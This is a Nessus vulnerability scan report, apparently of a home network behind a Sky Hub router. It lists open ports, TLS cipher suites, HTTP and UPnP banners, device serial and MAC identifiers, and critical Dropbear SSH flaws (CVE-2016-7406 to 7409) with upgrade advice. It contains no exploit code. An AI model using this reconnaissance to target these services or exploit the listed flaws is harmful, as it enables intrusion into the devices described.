    Name                          Code             KEX           Auth     Encryption             

MAC

    ----------------------        ----------       ---           ----     ---------------------  ---

    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-

CBC(168)          SHA1



  High Strength Ciphers (>= 112-bit key)



    Name                          Code             KEX           Auth     Encryption             

MAC

    ----------------------        ----------       ---           ----     ---------------------  ---

    RSA-AES128-SHA256             0x00, 0x9C       RSA           RSA      AES-

GCM(128)           SHA256

    RSA-AES256-SHA384             0x00, 0x9D       RSA           RSA      AES-

GCM(256)           SHA384

    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-

CBC(128)           SHA1

    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-

CBC(256)           SHA1

    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-

CBC(128)      SHA1

    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia- None 05/06/2006 09/07/2020

21643 None 192.168.0.1 tcp 8890SSL Cipher Suites Supported The remote service encrypts communications using SSL.

This plugin detects which SSL ciphers are supported by the remote

service for encrypting communications. n/a

https://w

ww.opens

sl.org/doc

s/man1.1.

0/apps/cip

hers.html

http://ww

w.nessus.o

rg/u?3a04

0ada



Here is the list of SSL ciphers supported by the remote server :

Each group is reported per SSL Version.



SSL Version : TLSv12

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)



    Name                          Code             KEX           Auth     Encryption             

MAC

    ----------------------        ----------       ---           ----     ---------------------  ---

    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-

CBC(168)          SHA1



  High Strength Ciphers (>= 112-bit key)



    Name                          Code             KEX           Auth     Encryption             

MAC

    ----------------------        ----------       ---           ----     ---------------------  ---

    RSA-AES128-SHA256             0x00, 0x9C       RSA           RSA      AES-

GCM(128)           SHA256

    RSA-AES256-SHA384             0x00, 0x9D       RSA           RSA      AES-

GCM(256)           SHA384

    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-

CBC(128)           SHA1

    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-

CBC(256)           SHA1

    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-

CBC(128)      SHA1

    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia- None 05/06/2006 09/07/2020

22964 None 192.168.0.1 tcp 80Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a A web server is running on this port. None 19/08/2007 18/08/2020

22964 None 192.168.0.1 tcp 4444Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a A web server is running on this port. None 19/08/2007 18/08/2020

22964 None 192.168.0.1 tcp 4567Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a

A TLSv1 server answered on this port.



None 19/08/2007 18/08/2020

22964 None 192.168.0.1 tcp 4567Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a A web server is running on this port through TLSv1. None 19/08/2007 18/08/2020

22964 None 192.168.0.1 tcp 5300Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a

The service closed the connection without sending any data.

It might be protected by some sort of TCP wrapper. None 19/08/2007 18/08/2020

22964 None 192.168.0.1 tcp 8889Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a A web server is running on this port. None 19/08/2007 18/08/2020

22964 None 192.168.0.1 tcp 8890Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a

A TLSv1 server answered on this port.



None 19/08/2007 18/08/2020

22964 None 192.168.0.1 tcp 8890Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a A web server is running on this port through TLSv1. None 19/08/2007 18/08/2020

24260 None 192.168.0.1 tcp 80HyperText Transfer Protocol (HTTP) Information Some information about the remote HTTP configuration can be extracted.

This test gives some information about the remote HTTP protocol - the

version used, whether HTTP Keep-Alive and HTTP pipelining are 

enabled,

etc... 



This test is informational only and does not denote any security

problem. n/a



Response Code : HTTP/1.1 200 OK




Protocol version : HTTP/1.1

SSL : no

Keep-Alive : no

Options allowed : (Not implemented)

Headers :



  Server: sky_router

  X-Frame-Options: Deny

  Cache-Control: no-cache

  Date: Thu, 05 Nov 2020 18:19:04 GMT

  Content-Type: text/html

  Connection: close

  

Response Body :



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<!-- v4.2 -->

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" 

/>

<title>Sky Hub &gt; Home</title>

<link type="text/css" rel="stylesheet" href="assets/css/fonts.css"/>

<link type="text/css" rel="stylesheet" href="assets/css/main.css"/>

<!-- jh scripts start --> None 30/01/2007 22/11/2019

24260 None 192.168.0.1 tcp 4444HyperText Transfer Protocol (HTTP) Information Some information about the remote HTTP configuration can be extracted.

This test gives some information about the remote HTTP protocol - the

version used, whether HTTP Keep-Alive and HTTP pipelining are 

enabled,

etc... 



This test is informational only and does not denote any security

problem. n/a



Response Code : HTTP/1.1 400 Bad Request




Protocol version : HTTP/1.1

SSL : no

Keep-Alive : no

Options allowed : (Not implemented)

Headers :



  Server: apid 1.0

  Date: Thu, 05 Nov 2020 18:19:05 GMT

  Vary: Accept-Encoding, Origin

  Cache-Control: no-cache,no-store

  Content-Type: text/html; charset=%s

  Connection: close

  

Response Body :



<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 

"http://www.w3.org/TR/html4/loose.dtd">



<html>



  <head>

    <meta http-equiv="Content-type" content="text/html;charset=UTF-

8">

    <title>400 Bad Request</title>

  </head>



None 30/01/2007 22/11/2019

24260 None 192.168.0.1 tcp 4567HyperText Transfer Protocol (HTTP) Information Some information about the remote HTTP configuration can be extracted.

This test gives some information about the remote HTTP protocol - the

version used, whether HTTP Keep-Alive and HTTP pipelining are 

enabled,

etc... 



This test is informational only and does not denote any security

problem. n/a



Response Code : HTTP/1.1 400 Bad Request




Protocol version : HTTP/1.1

SSL : yes

Keep-Alive : no

Options allowed : (Not implemented)

Headers :



  Server: apid 1.0

  Date: Thu, 05 Nov 2020 18:19:14 GMT

  Vary: Accept-Encoding, Origin

  Cache-Control: no-cache,no-store

  Content-Type: text/html; charset=%s

  Connection: close

  

Response Body :



<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 

"http://www.w3.org/TR/html4/loose.dtd">



<html>



  <head>

    <meta http-equiv="Content-type" content="text/html;charset=UTF-

8">

    <title>400 Bad Request</title>

  </head>



None 30/01/2007 22/11/2019

24260 None 192.168.0.1 tcp 8889HyperText Transfer Protocol (HTTP) Information Some information about the remote HTTP configuration can be extracted.

This test gives some information about the remote HTTP protocol - the

version used, whether HTTP Keep-Alive and HTTP pipelining are 

enabled,

etc... 



This test is informational only and does not denote any security

problem. n/a



Response Code : HTTP/1.1 302 Found




Protocol version : HTTP/1.1

SSL : no

Keep-Alive : no

Options allowed : (Not implemented)

Headers :



  Server: webd 1.0

  Date: Thu, 05 Nov 2020 18:19:14 GMT

  Access-Control-Allow-Origin: *

  Location: http://filter.meetcircle-sky.com

  Content-Type: text/html

  Connection: close

  

Response Body :



None 30/01/2007 22/11/2019

24260 None 192.168.0.1 tcp 8890HyperText Transfer Protocol (HTTP) Information Some information about the remote HTTP configuration can be extracted.

This test gives some information about the remote HTTP protocol - the

version used, whether HTTP Keep-Alive and HTTP pipelining are 

enabled,

etc... 



This test is informational only and does not denote any security

problem. n/a



Response Code : HTTP/1.1 302 Found




Protocol version : HTTP/1.1

SSL : yes

Keep-Alive : no

Options allowed : (Not implemented)

Headers :



  Server: webd 1.0

  Date: Thu, 05 Nov 2020 18:19:25 GMT

  Access-Control-Allow-Origin: *

  Location: http://filter.meetcircle-sky.com

  Content-Type: text/html

  Connection: close

  

Response Body :



None 30/01/2007 22/11/2019

25220 None 192.168.0.1 tcp 0TCP/IP Timestamps Supported The remote service implements TCP timestamps.

The remote host implements TCP timestamps, as defined by RFC1323.  

A

side effect of this feature is that the uptime of the remote host can

sometimes be computed. n/a http://www.ietf.org/rfc/rfc1323.txt None 16/05/2007 06/03/2019

31422 None 192.168.0.1 tcp 0Reverse NAT/Intercepting Proxy Detection

The remote IP address seems to connect to different hosts

via reverse NAT, or an intercepting proxy is in the way.

Reverse NAT is a technology which lets multiple computers offer

public services on different ports via the same IP address. 



Based on OS fingerprinting results, it seems that different 

operating systems are listening on different remote ports.



Note that this behavior may also indicate the presence of a

intercepting proxy, a load balancer or a traffic shaper. Make sure that this setup is authorized by your security policy https://en.wikipedia.org/wiki/Proxy_server#Intercepting_proxy_server

+ On the following port(s) : 

 - 80 (0 hops away)

 - 5300 (0 hops away)



The operating system was identified as :



Linux Kernel 2.6



+ On the following port(s) : 

 - 4567 (0 hops away)

 - 5431 (0 hops away)



The operating system was identified as :



Linux Kernel 2.6



None 12/03/2008 22/11/2019

35371 None 192.168.0.1 udp 53DNS Server hostname.bind Map Hostname Disclosure The DNS server discloses the remote host name.

It is possible to learn the remote host name by querying the remote

DNS server for 'hostname.bind' in the CHAOS domain.

It may be possible to disable this feature.  Consult the vendor's

documentation for more information.



The remote host name is :



XDR_on_cdns16.bllon



None 15/01/2009 14/09/2011

35711 None 192.168.0.1 udp 1900Universal Plug and Play (UPnP) Protocol Detection The remote device supports UPnP.

The remote device answered an SSDP M-SEARCH request. Therefore, it

supports 'Universal Plug and Play' (UPnP). This protocol provides

automatic configuration and device discovery. It is primarily intended

for home networks. An attacker could potentially leverage this to

discover your network architecture. Filter access to this port if desired.

https://en.

wikipedia.

org/wiki/

Universal_

Plug_and_

Play

https://en.

wikipedia.

org/wiki/S

imple_Ser

vice_Disco

very_Prot

ocol

http://qui

mby.gnus.

org/intern

et-

drafts/dra

ft-cai-ssdp-

v1-03.txt

The device responded to an SSDP M-SEARCH request with the following 

locations :



    http://192.168.0.1:5431/dyndev/uuid:7050af94-e020-20e0-94af-

50705094200000

    http://192.168.0.1:49164/wps_device.xml

    http://192.168.0.1:49163/wps_device.xml

    http://192.168.0.1:49162/wps_device.xml



And advertises these unique service names :



    uuid:7050af94-e020-20e0-94af-50705094200000::upnp:rootdevice

    uuid:7050af94-e020-20e0-94af-50705094200000::urn:schemas-upnp-

org:device:InternetGatewayDevice:1

    uuid:7050af94-e020-20e0-94af-50705094200000::urn:schemas-upnp-

org:service:Layer3Forwarding:1

    uuid:de7c8561-349e-2528-df63-3f74d9c089e9::upnp:rootdevice

    uuid:7050af94-e020-20e0-94af-50705094200001::urn:schemas-upnp-

org:device:WANDevice:1

    uuid:7050af94-e020-20e0-94af-50705094200001::urn:schemas-upnp-

org:service:WANCommonInterfaceConfig:

    uuid:7050af94-e020-20e0-94af-50705094200002::urn:schemas-upnp-

org:device:WANConnectionDevice:1

    uuid:7050af94-e020-20e0-94af-50705094200002::urn:schemas-upnp-

org:service:WANIPConnection:1

    uuid:de7c8561-349e-2528-df63-3f74d9c089e9::urn:schemas-

wifialliance-org:device:WFADevice:1

    uuid:de7c8561-349e-2528-df63-3f74d9c089e9::urn:schemas-

wifialliance-org:service:WFAWLANConfig:1 None 19/02/2009 12/09/2018

35712 None 192.168.0.1 tcp 5431Web Server UPnP Detection The remote web server provides UPnP information.

Nessus was able to extract some information about the UPnP-enabled

device by querying this web server. Services may also be reachable

through SOAP requests. Filter incoming traffic to this port if desired. https://en.wikipedia.org/wiki/Universal_Plug_and_Play



Here is a summary of http://192.168.0.1:5431/dyndev/uuid:7050af94-

e020-20e0-94af-50705094200000 :



deviceType: urn:schemas-upnp-org:device:InternetGatewayDevice:1

friendlyName: Sky ADSL Router

manufacturer: Sky Hub

manufacturerURL: http://www.sky.com/

modelName: ER110

modelDescription: (null)

modelName: ER110

modelNumber: 1.0

modelURL: http://www.broadcom.com/

ServiceID: urn:upnp-org:serviceId:Layer3Forwarding.1

	serviceType: urn:schemas-upnp-org:service:Layer3Forwarding:1	controlURL: /uuid:7050af94-e020-20e0-94af-

50705094200000/Layer3Forwarding:1

	eventSubURL: /uuid:7050af94-e020-20e0-94af-

50705094200000/Layer3Forwarding:1

	SCPDURL: /dynsvc/Layer3Forwarding:1.xml

ServiceID: urn:upnp-org:serviceId:WANCommonInterfaceConfig.1

	serviceType: urn:schemas-upnp-

org:service:WANCommonInterfaceConfig:1

	controlURL: /uuid:7050af94-e020-20e0-94af-

50705094200001/WANCommonInterfaceConfig:1

	eventSubURL: /uuid:7050af94-e020-20e0-94af-

50705094200001/WANCommonInterfaceConfig:1

	SCPDURL: /dynsvc/WANCommonInterfaceConfig:1.xml

ServiceID: urn:upnp-org:serviceId:WANIPConnection.1 None 19/02/2009 12/06/2020

35712 None 192.168.0.1 tcp 49162Web Server UPnP Detection The remote web server provides UPnP information.

Nessus was able to extract some information about the UPnP-enabled

device by querying this web server. Services may also be reachable

through SOAP requests. Filter incoming traffic to this port if desired. https://en.wikipedia.org/wiki/Universal_Plug_and_Play



Here is a summary of http://192.168.0.1:49162/wps_device.xml :



deviceType: urn:schemas-wifialliance-org:device:WFADevice:1

friendlyName: WPS Access Point

manufacturer: Sky

manufacturerURL: www.sky.com

modelName: Sky Hub

modelDescription: Sky Hub

modelName: Sky Hub

modelNumber: ER110

serialNumber: AC40178B017318

ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1

	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1	controlURL: wps_control	eventSubURL: wps_event	SCPDURL: wps_scpd.xml

None 19/02/2009 12/06/2020

35712 None 192.168.0.1 tcp 49163Web Server UPnP Detection The remote web server provides UPnP information.

Nessus was able to extract some information about the UPnP-enabled

device by querying this web server. Services may also be reachable

through SOAP requests. Filter incoming traffic to this port if desired. https://en.wikipedia.org/wiki/Universal_Plug_and_Play



Here is a summary of http://192.168.0.1:49163/wps_device.xml :



deviceType: urn:schemas-wifialliance-org:device:WFADevice:1

friendlyName: WPS Access Point

manufacturer: Sky

manufacturerURL: www.sky.com

modelName: Sky Hub

modelDescription: Sky Hub

modelName: Sky Hub

modelNumber: ER110

serialNumber: AC40178B017318

ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1

	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1	controlURL: wps_control	eventSubURL: wps_event	SCPDURL: wps_scpd.xml

None 19/02/2009 12/06/2020

35712 None 192.168.0.1 tcp 49164Web Server UPnP Detection The remote web server provides UPnP information.

Nessus was able to extract some information about the UPnP-enabled

device by querying this web server. Services may also be reachable

through SOAP requests. Filter incoming traffic to this port if desired. https://en.wikipedia.org/wiki/Universal_Plug_and_Play



Here is a summary of http://192.168.0.1:49164/wps_device.xml :



deviceType: urn:schemas-wifialliance-org:device:WFADevice:1

friendlyName: WPS Access Point

manufacturer: Sky

manufacturerURL: www.sky.com

modelName: Sky Hub

modelDescription: Sky Hub

modelName: Sky Hub

modelNumber: ER110

serialNumber: AC40178B017318

ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1

	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1	controlURL: wps_control	eventSubURL: wps_event	SCPDURL: wps_scpd.xml

None 19/02/2009 12/06/2020

35716 None 192.168.0.1 tcp 0Ethernet Card Manufacturer Detection The manufacturer can be identified from the Ethernet OUI.

Each ethernet MAC address starts with a 24-bit Organizationally 

Unique Identifier (OUI). These OUIs are registered by IEEE. n/a

https://sta

ndards.iee

e.org/faqs

/regauth.h

tml

http://ww

w.nessus.o

rg/u?7946

73b4



The following card manufacturers were identified :



70:50:AF:94:E0:21 : BSkyB Ltd



None 19/02/2009 13/05/2020

93650CVE-2016-7407 10Critical 192.168.0.2 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2012.55

  Installed version : 2012.55

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019

93650CVE-2016-7408 10Critical 192.168.0.2 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2012.55

  Installed version : 2012.55

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019

45410 None 192.168.0.1 tcp 4567SSL Certificate 'commonName' Mismatch

The 'commonName' (CN) attribute in the SSL certificate does not match

the hostname.

The service running on the remote host presents an SSL certificate for

which the 'commonName' (CN) attribute does not match the 

hostname on

which the service listens.

If the machine has several names, make sure that users connect to the

service through the DNS hostname that matches the common name in 

the

certificate.



The host name known by Nessus is :



  skyrouter.home



The Common Name in the certificate is :



  localhost



The Subject Alternate Names in the certificate are :



  10.123.234.1

  meetcircle.local



None 03/04/2010 25/06/2019

45410 None 192.168.0.1 tcp 8890SSL Certificate 'commonName' Mismatch

The 'commonName' (CN) attribute in the SSL certificate does not match

the hostname.

The service running on the remote host presents an SSL certificate for

which the 'commonName' (CN) attribute does not match the 

hostname on

which the service listens.

If the machine has several names, make sure that users connect to the

service through the DNS hostname that matches the common name in 

the

certificate.



The host name known by Nessus is :



  skyrouter.home



The Common Name in the certificate is :



  circle002



The Subject Alternate Names in the certificate are :



  10.123.234.1

  meetcircle.local



None 03/04/2010 25/06/2019

50845 None 192.168.0.1 tcp 4567OpenSSL Detection The remote service appears to use OpenSSL to encrypt traffic.

Based on its response to a TLS request with a specially crafted

server name extension, it seems that the remote service is using the

OpenSSL library to encrypt traffic.



Note that this plugin can only detect OpenSSL implementations that

have enabled support for TLS extensions (RFC 4366). n/a https://www.openssl.org/ None 30/11/2010 12/06/2020

50845 None 192.168.0.1 tcp 8890OpenSSL Detection The remote service appears to use OpenSSL to encrypt traffic.

Based on its response to a TLS request with a specially crafted

server name extension, it seems that the remote service is using the

OpenSSL library to encrypt traffic.



Note that this plugin can only detect OpenSSL implementations that

have enabled support for TLS extensions (RFC 4366). n/a https://www.openssl.org/ None 30/11/2010 12/06/2020

93650CVE-2016-7409 10Critical 192.168.0.2 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2012.55

  Installed version : 2012.55

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019

93650CVE-2016-7406 10Critical 192.168.0.20 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2015.67

  Installed version : 2015.67

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019

54615 None 192.168.0.1 tcp 0Device Type It is possible to guess the remote device type.

Based on the remote operating system, it is possible to determine

what the remote system type is (eg: a printer, router, general-purpose

computer, etc). n/a

Remote device type : embedded

Confidence level : 80



None 23/05/2011 23/05/2011

56984 None 192.168.0.1 tcp 4567SSL / TLS Versions Supported The remote service encrypts communications.

This plugin detects which SSL and TLS versions are supported by the

remote service for encrypting communications. n/a



This port supports TLSv1.0/TLSv1.1/TLSv1.2.



None 01/12/2011 09/07/2020

56984 None 192.168.0.1 tcp 8890SSL / TLS Versions Supported The remote service encrypts communications.

This plugin detects which SSL and TLS versions are supported by the

remote service for encrypting communications. n/a



This port supports TLSv1.0/TLSv1.1/TLSv1.2.



None 01/12/2011 09/07/2020

93650CVE-2016-7407 10Critical 192.168.0.20 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2015.67

  Installed version : 2015.67

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019

93650CVE-2016-7408 10Critical 192.168.0.20 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2015.67

  Installed version : 2015.67

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019

93650CVE-2016-7409 10Critical 192.168.0.20 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2015.67

  Installed version : 2015.67

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019


Microsoft_Excel_Worksheet1.xlsx
My_Basic_Network_Scan_9ftc09

		Plugin ID		CVE		CVSS		Risk		Host		Protocol		Port		Name		Synopsis		Description		Solution		See Also		Plugin Output		STIG Severity		CVSS v3.0 Base Score		CVSS Temporal Score		CVSS v3.0 Temporal Score		Risk Factor		BID		XREF		MSKB		Plugin Publication Date		Plugin Modification Date		Metasploit		Core Impact		CANVAS

		10107						None		192.168.0.1		tcp		80		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

sky_router										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.1		tcp		4444		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

apid 1.0										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.1		tcp		4567		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

apid 1.0										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.1		tcp		8889		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

webd 1.0										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.1		tcp		8890		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

webd 1.0										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10114		CVE-1999-0524		0		None		192.168.0.1		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -2 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10287						None		192.168.0.1		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.1 : 
192.168.0.35
192.168.0.1

Hop Count: 1
										None								11/27/99		8/20/20

